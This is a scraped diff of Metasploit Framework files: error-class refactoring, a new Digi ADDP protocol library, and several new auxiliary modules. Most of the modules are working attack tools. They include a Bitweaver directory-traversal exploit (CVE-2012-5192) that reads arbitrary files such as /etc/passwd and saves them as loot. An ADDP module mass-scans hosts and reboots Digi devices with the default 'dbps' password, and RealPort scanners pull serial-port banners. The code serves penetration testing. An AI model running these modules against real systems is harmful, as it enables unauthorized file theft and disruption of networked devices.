:causal_message => 'Missing compatible Metasploit<major_version> class constant',
|
||||
}.merge(attributes)
|
||||
|
||||
super(super_attributes)
|
||||
end
|
||||
end
|
|
@ -10,8 +10,6 @@ module Msf::Modules::Namespace
|
|||
# @return [nil] if such as class is not defined.
|
||||
def metasploit_class
|
||||
metasploit_class = nil
|
||||
# don't search ancestors for the metasploit_class
|
||||
#inherit = false
|
||||
|
||||
::Msf::Framework::Major.downto(1) do |major|
|
||||
# Since we really only care about the deepest namespace, we don't
|
||||
|
@ -29,6 +27,19 @@ module Msf::Modules::Namespace
|
|||
metasploit_class
|
||||
end
|
||||
|
||||
def metasploit_class!(module_path, module_reference_name)
|
||||
metasploit_class = self.metasploit_class
|
||||
|
||||
unless metasploit_class
|
||||
raise Msf::Modules::MetasploitClassCompatibilityError.new(
|
||||
:module_path => module_path,
|
||||
:module_reference_name => module_reference_name
|
||||
)
|
||||
end
|
||||
|
||||
metasploit_class
|
||||
end
|
||||
|
||||
# Raises an error unless {Msf::Framework::VersionCore} and {Msf::Framework::VersionAPI} meet the minimum required
|
||||
# versions defined in RequiredVersions in the module content.
|
||||
#
|
||||
|
|
|
@ -1,20 +1,43 @@
|
|||
require 'msf/core/modules/error'
|
||||
|
||||
# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module}
|
||||
# if the API or Core version does not meet the minimum requirements defined in the RequiredVersions constant in the
|
||||
# {Msf::Modules::Loader::Base#read_module_content module content}.
|
||||
class Msf::Modules::VersionCompatibilityError < StandardError
|
||||
class Msf::Modules::VersionCompatibilityError < Msf::Modules::Error
|
||||
# @param [Hash{Symbol => Float}] attributes
|
||||
# @option attributes [Float] :minimum_api_version The minimum {Msf::Framework::VersionAPI} as defined in
|
||||
# RequiredVersions.
|
||||
# @option attributes [Float] :minimum_core_version The minimum {Msf::Framework::VersionCore} as defined in
|
||||
# RequiredVersions.
|
||||
def initialize(attributes={})
|
||||
@module_path = attributes[:module_path]
|
||||
@module_reference_name = attributes[:module_reference_name]
|
||||
@minimum_api_version = attributes[:minimum_api_version]
|
||||
@minimum_core_version = attributes[:minimum_core_version]
|
||||
|
||||
super("Failed to reload module (#{module_reference_name} from #{module_path}) due to version check " \
|
||||
"(requires API:#{minimum_api_version} Core:#{minimum_core_version})")
|
||||
message_parts = []
|
||||
message_parts << 'version check'
|
||||
|
||||
if minimum_api_version or minimum_core_version
|
||||
clause_parts = []
|
||||
|
||||
if minimum_api_version
|
||||
clause_parts << "API >= #{minimum_api_version}"
|
||||
end
|
||||
|
||||
if minimum_core_version
|
||||
clause_parts << "Core >= #{minimum_core_version}"
|
||||
end
|
||||
|
||||
clause = clause_parts.join(' and ')
|
||||
message_parts << "(requires #{clause})"
|
||||
end
|
||||
|
||||
causal_message = message_parts.join(' ')
|
||||
|
||||
super_attributes = {
|
||||
:causal_message => causal_message
|
||||
}.merge(attributes)
|
||||
|
||||
super(super_attributes)
|
||||
end
|
||||
|
||||
# @return [Float] The minimum value of {Msf::Framework::VersionAPI} for the module to be compatible.
|
||||
|
|
|
@ -0,0 +1,218 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
|
||||
#
|
||||
# This provides constants, encoding, and decoding routines for Digi International's ADDP protocol
|
||||
#
|
||||
class ADDP
|
||||
|
||||
require "rex/socket"
|
||||
|
||||
#
|
||||
# See the following URLs for more information:
|
||||
# - http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html
|
||||
# - http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29
|
||||
#
|
||||
|
||||
|
||||
MAGICS = %W{ DIGI DVKT DGDP }
|
||||
ERRORS = %W{ no_response unknown success authenticaton_failed unit_has_address invalid_value invalid_data unsupported_command }
|
||||
WLAN_ENC_MODES = %W{ unknown none wep40 wep128 }
|
||||
WLAN_AUTH_MODES = %W{ unknown open shared_key open_shared_key }
|
||||
HWTYPES = %W{
|
||||
unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16
|
||||
lets_desk1 lets_desk2 lets_desk4 dorpia_dinrail1 nubox01 nubox02 nubox04
|
||||
digione_sp digione_ia digione_em
|
||||
}
|
||||
|
||||
CMD_CONF_REQ = 1
|
||||
CMD_CONF_REP = 2
|
||||
CMD_SET_ADDR_REQ = 3
|
||||
CMD_SET_ADDR_REP = 4
|
||||
CMD_REBOOT_REQ = 5
|
||||
CMD_REBOOT_REP = 6
|
||||
CMD_SET_DHCP_REQ = 7
|
||||
CMD_SET_DHCP_REP = 8
|
||||
CMD_SET_WL_REQ = 9
|
||||
CMD_SET_WL_REP = 10
|
||||
CMD_SET_WL_COUNTRIES_REQ = 11
|
||||
CMD_SET_WL_COUNTRIES_REP = 12
|
||||
CMD_EDP = 13
|
||||
CMD_CNT = 14
|
||||
|
||||
|
||||
def self.encode_password(pwd="dbps")
|
||||
[pwd.length].pack("C") + pwd
|
||||
end
|
||||
|
||||
def self.request_config(magic, dmac="\xff\xff\xff\xff\xff\xff")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
req = magic + [ CMD_CONF_REQ, 6].pack("nn") + mac
|
||||
return req
|
||||
end
|
||||
|
||||
def self.request_config_all(dmac="\xff\xff\xff\xff\xff\xff")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
res = []
|
||||
MAGICS.each { |m| res << self.request_config(m, dmac) }
|
||||
return res
|
||||
end
|
||||
|
||||
def self.request_static_ip(magic, dmac, ip, mask, gw, pwd="dbps")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
buf =
|
||||
Rex::Socket.addr_aton(ip) +
|
||||
Rex::Socket.addr_aton(mask) +
|
||||
Rex::Socket.addr_aton(gw) +
|
||||
mac +
|
||||
self.encode_password(pwd)
|
||||
|
||||
req = magic + [CMD_SET_ADDR_REQ, buf.length].pack("nn") + buf
|
||||
return req
|
||||
end
|
||||
|
||||
def self.request_dhcp(magic, dmac, enabled, pwd="dbps")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
buf =
|
||||
[ enabled ? 1 : 0 ].pack("C") +
|
||||
mac +
|
||||
self.encode_password(pwd)
|
||||
|
||||
req = magic + [CMD_SET_DHCP_REQ, buf.length].pack("nn") + buf
|
||||
return req
|
||||
end
|
||||
|
||||
def self.request_reboot(magic, dmac, pwd="dbps")
|
||||
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
|
||||
buf =
|
||||
mac +
|
||||
self.encode_password(pwd)
|
||||
|
||||
req = magic + [CMD_REBOOT_REQ, buf.length].pack("nn") + buf
|
||||
return req
|
||||
end
|
||||
|
||||
def self.decode_reply(data)
|
||||
res = {}
|
||||
r_magic = data[0,4]
|
||||
r_ptype = data[4,2].unpack("n").first
|
||||
r_plen = data[6,2].unpack("n").first
|
||||
buff = data[8, r_plen]
|
||||
bidx = 0
|
||||
|
||||
res[:magic] = data[0,4]
|
||||
res[:cmd] = r_ptype
|
||||
|
||||
while bidx < (buff.length - 2)
|
||||
i_type, i_len = buff[bidx, 2].unpack("CC")
|
||||
i_data = buff[bidx + 2, i_len]
|
||||
|
||||
break if i_data.length != i_len
|
||||
|
||||
case i_type
|
||||
when 0x01
|
||||
res[:mac] = Rex::Socket.eth_ntoa(i_data)
|
||||
when 0x02
|
||||
res[:ip] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x03
|
||||
res[:mask] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x04
|
||||
res[:hostname] = i_data
|
||||
when 0x05
|
||||
res[:domain] = i_data
|
||||
when 0x06
|
||||
res[:hwtype] = HWTYPES[ i_data.unpack("C").first ] || HWTYPES[ 0 ]
|
||||
when 0x07
|
||||
res[:hwrev] = i_data.unpack("C").first
|
||||
when 0x08
|
||||
res[:fwrev] = i_data
|
||||
when 0x09
|
||||
res[:msg] = i_data
|
||||
when 0x0a
|
||||
res[:result] = i_data.unpack("C").first
|
||||
when 0x0b
|
||||
res[:gw] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x0c
|
||||
res[:advisory] = i_data.unpack("n").first
|
||||
when 0x0d
|
||||
res[:hwname] = i_data
|
||||
when 0x0e
|
||||
res[:realport] = i_data.unpack("N").first
|
||||
when 0x0f
|
||||
res[:dns] = Rex::Socket.addr_ntoa(i_data)
|
||||
when 0x10
|
||||
res[:dhcp] = (i_data.unpack("C").first == 0) ? false : true
|
||||
when 0x11
|
||||
res[:error] = ERRORS[ i_data.unpack("C").first ] || ERRORS[0]
|
||||
when 0x12
|
||||
res[:ports] = i_data.unpack("C").first
|
||||
when 0x13
|
||||
res[:realport_enc] = (i_data.unpack("C").first == 0) ? false : true
|
||||
when 0x14
|
||||
res[:version] = i_data.unpack("n").first
|
||||
when 0x15
|
||||
res[:vendor_guid] = i_data.unpack("H*") # GUID
|
||||
when 0x16
|
||||
res[:iftype] = i_data.unpack("C").first
|
||||
when 0x17
|
||||
res[:challenge] = i_data # Unknown format
|
||||
when 0x18
|
||||
res[:cap_port] = i_data.unpack("n").first
|
||||
when 0x19
|
||||
res[:edp_devid] = i_data.unpack("H*").first # Unknown format
|
||||
when 0x1a
|
||||
res[:edp_enabled] = (i_data.unpack("C").first == 0) ? false : true
|
||||
when 0x1b
|
||||
res[:edp_url] = i_data
|
||||
when 0x1c
|
||||
res[:wl_ssid] = i_data
|
||||
when 0x1d
|
||||
res[:wl_auto_ssid] = (i_data.unpack("n").first == 0) ? false : true
|
||||
when 0x1e
|
||||
res[:wl_tx_enh_power] = i_data.unpack("n").first
|
||||
when 0x1f
|
||||
res[:wl_auth_mode] = WLAN_AUTH_MODES[ i_data.unpack("n").first ] || WLAN_AUTH_MODES[ 0 ]
|
||||
when 0x20
|
||||
res[:wl_enc_mode] = WLAN_ENC_MODES[ i_data.unpack("n").first ] || WLAN_ENC_MODES[ 0 ]
|
||||
when 0x21
|
||||
res[:wl_enc_key] = i_data
|
||||
when 0x22
|
||||
res[:wl_cur_country] = i_data
|
||||
when 0x23
|
||||
res[:wl_country_list] = i_data
|
||||
else
|
||||
# Store unknown responses
|
||||
res["unknown_0x#{"%.2x" % i_type}".to_sym] = i_data
|
||||
end
|
||||
|
||||
bidx = bidx + 2 + i_len
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
def self.reply_to_string(res)
|
||||
str = ""
|
||||
|
||||
fields = [
|
||||
:hwname, :hwtype, :hwrev, :fwrev,
|
||||
:mac, :ip, :mask, :gw, :hostname, :domain, :dns, :dhcp,
|
||||
:msg, :result, :error,
|
||||
:advisory, :ports, :realport, :realport_enc,
|
||||
:version, :vendor_guid, :iftype, :challenge, :cap_port, :edp_devid, :edp_enabled,
|
||||
:edp_url, :wl_ssid, :wl_auto_ssid, :wl_tx_enh_power, :wl_auth_mode, :wl_enc_mode,
|
||||
:wl_enc_key, :wl_cur_country, :wl_country_list, :magic
|
||||
]
|
||||
|
||||
fields.each do |fname|
|
||||
next unless res.has_key?(fname)
|
||||
str << "#{fname}:#{res[fname]} "
|
||||
end
|
||||
return str
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -455,6 +455,20 @@ module Socket
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a colon-delimited MAC address into a 6-byte binary string
|
||||
#
|
||||
def self.eth_aton(mac)
|
||||
mac.split(":").map{|c| c.to_i(16) }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a 6-byte binary string into a colon-delimited MAC address
|
||||
#
|
||||
def self.eth_ntoa(bin)
|
||||
bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a CIDR subnet into an array (base, bcast)
|
||||
#
|
||||
|
|
|
@ -0,0 +1,111 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Bitweaver overlay_type Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in Bitweaver.
|
||||
When hanlding the 'overlay_type' parameter, view_overlay.php fails to do any
|
||||
path checking/filtering, which can be abused to read any file outside the
|
||||
virtual directory.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-5192'],
|
||||
['OSVDB', '86599'],
|
||||
['EDB', '22216'],
|
||||
['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'David Aaron', # Trustwave SpiderLabs
|
||||
'Jonathan Claudius', # Trustwave SpiderLabs
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Oct 23 2012"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/bitweaver/']),
|
||||
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
base = target_uri.path
|
||||
base << '/' if base[-1,1] != '/'
|
||||
|
||||
peer = "#{ip}:#{rport}"
|
||||
fname = datastore['FILE']
|
||||
fname = fname[1, fname.length] if fname =~ /^\//
|
||||
|
||||
print_status("#{peer} - Reading '#{datastore['FILE']}'")
|
||||
traverse = "../" * datastore['DEPTH']
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'encode_params' => false,
|
||||
'uri' => "#{base}gmap/view_overlay.php",
|
||||
'vars_get' => {
|
||||
'overlay_type' => "#{traverse}#{fname}%00"
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
|
||||
print_error("#{peer} - Cannot read '#{fname}'. File does not exist.")
|
||||
|
||||
elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
|
||||
print_error("#{peer} - Cannot read '#{fname}'. Permission denied.")
|
||||
|
||||
elsif res and res.code == 200 and res.body =~ /Failed opening required/
|
||||
print_error("#{peer} - Cannot read '#{fname}'. Possibly not vulnerable.")
|
||||
|
||||
elsif res and res.code == 200
|
||||
data = res.body
|
||||
data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '')
|
||||
|
||||
p = store_loot(
|
||||
'bitweaver.overlay_type',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
data,
|
||||
fname
|
||||
)
|
||||
|
||||
vprint_line(data)
|
||||
print_good("#{peer} - #{datastore['FILE']} stored as '#{p}'")
|
||||
|
||||
else
|
||||
print_error("#{peer} - Request failed due to some unknown reason")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
if( !empty( $_REQUEST['overlay_type'] ) ){
|
||||
$type = $_REQUEST['overlay_type'];
|
||||
}
|
||||
|
||||
// Now check permissions to access this page
|
||||
$gBitSystem->verifyPermission('p_gmap_overlay_view' );
|
||||
|
||||
// Get the overlay for specified overylay_id
|
||||
require_once(GMAP_PKG_PATH.'lookup_'.$type.'_inc.php' );
|
||||
=end
|
|
@ -0,0 +1,161 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/addp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi ADDP Remote Reboot Initiator',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Reboot Digi International based equipment through the ADDP service',
|
||||
'Author' => 'hdm',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
|
||||
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
Opt::RPORT(2362),
|
||||
OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'].to_i
|
||||
end
|
||||
|
||||
def run_batch(batch)
|
||||
|
||||
print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
|
||||
@results = {}
|
||||
begin
|
||||
udp_sock = nil
|
||||
idx = 0
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
|
||||
add_socket(udp_sock)
|
||||
|
||||
batch.each do |ip|
|
||||
begin
|
||||
# Try all currently-known magic probe values
|
||||
Rex::Proto::ADDP.request_config_all.each do |pkt|
|
||||
begin
|
||||
udp_sock.sendto(pkt, ip, rport, 0)
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError
|
||||
end
|
||||
|
||||
if (idx % 30 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
idx += 1
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
queue = {}
|
||||
@results.each_pair do |ip,res|
|
||||
queue[ip] = res
|
||||
end
|
||||
@results = {}
|
||||
|
||||
queue.each_pair do |ip, res|
|
||||
info = Rex::Proto::ADDP.reply_to_string(res)
|
||||
print_status("#{ip}:#{rport} Sending reboot request to device with MAC #{res[:mac]}...")
|
||||
pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
|
||||
|
||||
begin
|
||||
udp_sock.sendto(pkt, ip, rport, 0)
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
retry
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 5) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def parse_reply(pkt)
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
addr = pkt[1]
|
||||
if(addr =~ /^::ffff:/)
|
||||
addr = addr.sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
@results[addr] ||= {}
|
||||
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
|
||||
|
||||
if @results[addr][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
|
||||
print_status("#{addr}:#{rport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[addr]))
|
||||
end
|
||||
|
||||
return unless @results[addr][:magic] and @results[addr][:mac]
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/addp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi ADDP Information Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Discover host information through the Digi International ADDP service',
|
||||
'Author' => 'hdm',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
|
||||
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
Opt::RPORT(2362)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'].to_i
|
||||
end
|
||||
|
||||
def run_batch(batch)
|
||||
|
||||
print_status("Sending Digi ADDP probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
|
||||
@results = {}
|
||||
begin
|
||||
udp_sock = nil
|
||||
idx = 0
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
|
||||
add_socket(udp_sock)
|
||||
|
||||
batch.each do |ip|
|
||||
begin
|
||||
|
||||
# Try all currently-known magic probe values
|
||||
Rex::Proto::ADDP.request_config_all.each do |pkt|
|
||||
begin
|
||||
udp_sock.sendto(pkt, ip, rport, 0)
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError
|
||||
end
|
||||
|
||||
if (idx % 30 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
idx += 1
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def parse_reply(pkt)
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
addr = pkt[1]
|
||||
if(addr =~ /^::ffff:/)
|
||||
addr = addr.sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
@results[addr] ||= {}
|
||||
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
|
||||
|
||||
return unless @results[addr][:magic] and @results[addr][:mac]
|
||||
|
||||
inf = Rex::Proto::ADDP.reply_to_string(@results[addr])
|
||||
|
||||
if inside_workspace_boundary?(addr)
|
||||
report_service(
|
||||
:host => addr,
|
||||
:mac => @results[addr][:mac],
|
||||
:port => pkt[2],
|
||||
:proto => 'udp',
|
||||
:name => 'addp',
|
||||
:info => inf
|
||||
)
|
||||
end
|
||||
print_status("#{addr}:#{pkt[2]} #{inf}")
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::RealPort
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi RealPort Serial Server Port Scanner',
|
||||
'Description' => 'Identify active ports on RealPort-enabled serial servers.',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
|
||||
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new("BANNER_TIMEOUT", [true, "How long to capture data from the serial port", 5]),
|
||||
OptString.new('BAUD_RATES', [true, "A space delimited list of baud rates to try for each port", "9600 115200"]),
|
||||
OptString.new('PORTS', [true, "A space delimited list of 1-indexed serial port numbers to try, default is all supported", "ALL"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
|
||||
test_speeds.each do |baud|
|
||||
valid = realport_baud_to_speed(baud)
|
||||
if not valid
|
||||
raise RuntimeError, "The baud rate #{baud} is not supported"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
test_ports = datastore['PORTS'].upcase.split(/\s+/)
|
||||
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
|
||||
|
||||
return unless realport_connect
|
||||
|
||||
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
|
||||
vprint_status("#{target_host}:#{rport} is running #{info}")
|
||||
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
|
||||
|
||||
1.upto(@realport_port_count) do |pnum|
|
||||
unless test_ports.include?('ALL') or test_ports.include?(pnum.to_s)
|
||||
# Skip this port
|
||||
next
|
||||
end
|
||||
|
||||
test_speeds.each do |baud|
|
||||
ret = realport_open(pnum - 1, baud)
|
||||
break unless ret == :open
|
||||
res = realport_recv_banner(pnum - 1, datastore['BANNER_TIMEOUT'])
|
||||
if res and res.length > 0
|
||||
print_status("#{target_host}:#{rport} [port #{pnum} @ #{baud}bps] #{res.inspect}")
|
||||
report_note(
|
||||
:host => target_host,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => "realport.port#{pnum}.banner",
|
||||
:data => {:baud => baud, :banner => res},
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
end
|
||||
realport_close(pnum - 1)
|
||||
end
|
||||
end
|
||||
|
||||
realport_disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,45 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::RealPort
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi RealPort Serial Server Version',
|
||||
'Description' => 'Detect serial servers that speak the RealPort protocol.',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
|
||||
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
if realport_connect
|
||||
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
|
||||
print_status("#{target_host}:#{rport} #{info}")
|
||||
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
|
||||
end
|
||||
realport_disconnect
|
||||
end
|
||||
end
|
|
